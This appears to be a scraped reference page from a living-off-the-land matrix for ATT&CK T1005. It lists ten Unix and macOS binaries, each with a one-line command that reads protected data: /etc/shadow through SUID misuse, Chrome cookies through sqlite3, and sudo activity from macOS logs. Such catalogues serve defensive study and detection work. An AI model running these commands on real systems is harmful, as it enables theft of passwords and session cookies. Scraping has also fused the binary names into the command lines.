T1005: Technique T1005
Adversaries may leverage living-off-the-land techniques (T1005) to achieve execution, evade defenses, or transfer tools.
Living-off-the-Land Matrix for T1005
Across 10 verified binariesbase64
Base64 encodes or decodes standard input or files to standard output. Attackers abuse it to read sensitive files without user permissions (when SUID) or decode obfuscated payload stages.
base64 /etc/shadow | base64 --decodedd
Dd converts and copies raw files and disks. Attackers abuse SUID dd to read raw partitions, memory dumps, or extract protected shadow files.
dd if=/etc/shadow of=/tmp/shadow.bakhead
Head outputs the beginning of files. SUID head allows unauthorized users to read the initial lines of protected files like /etc/shadow or root SSH private keys.
head -n 50 /etc/shadowtail
Tail outputs the last part of files. SUID tail allows standard users to read protected credentials, tokens, and audit log entries.
tail -n +1 /etc/shadownl
Nl numbers lines from files. SUID nl enables unauthorized reading of sensitive files.
nl -ba /etc/shadowgrep
Grep searches for patterns in text files. When given SUID permissions, grep can extract passwords, hashes, and tokens from restricted files.
grep "" /etc/shadowsed
Sed is a stream editor for filtering and transforming text. SUID sed allows reading sensitive files or modifying configuration entries.
sed -e '' /etc/shadowdate
Date displays or sets system date and time. SUID date can be abused with the -f parameter to read files line-by-line via error messages.
date -f /etc/shadowsqlite3
Sqlite3 queries SQLite databases. Attackers use it to query Chrome and Safari cookies, browsing history, and notes databases without launching browsers.
sqlite3 ~/Library/Application\ Support/Google/Chrome/Default/Cookies "SELECT host_key, name, encrypted_value FROM cookies"log
Log queries the macOS Unified Logging System. Attackers interrogate system logs to find sensitive tokens, user activities, or cleartext credentials.
log show --predicate 'process == "sudo"' --info --last 1d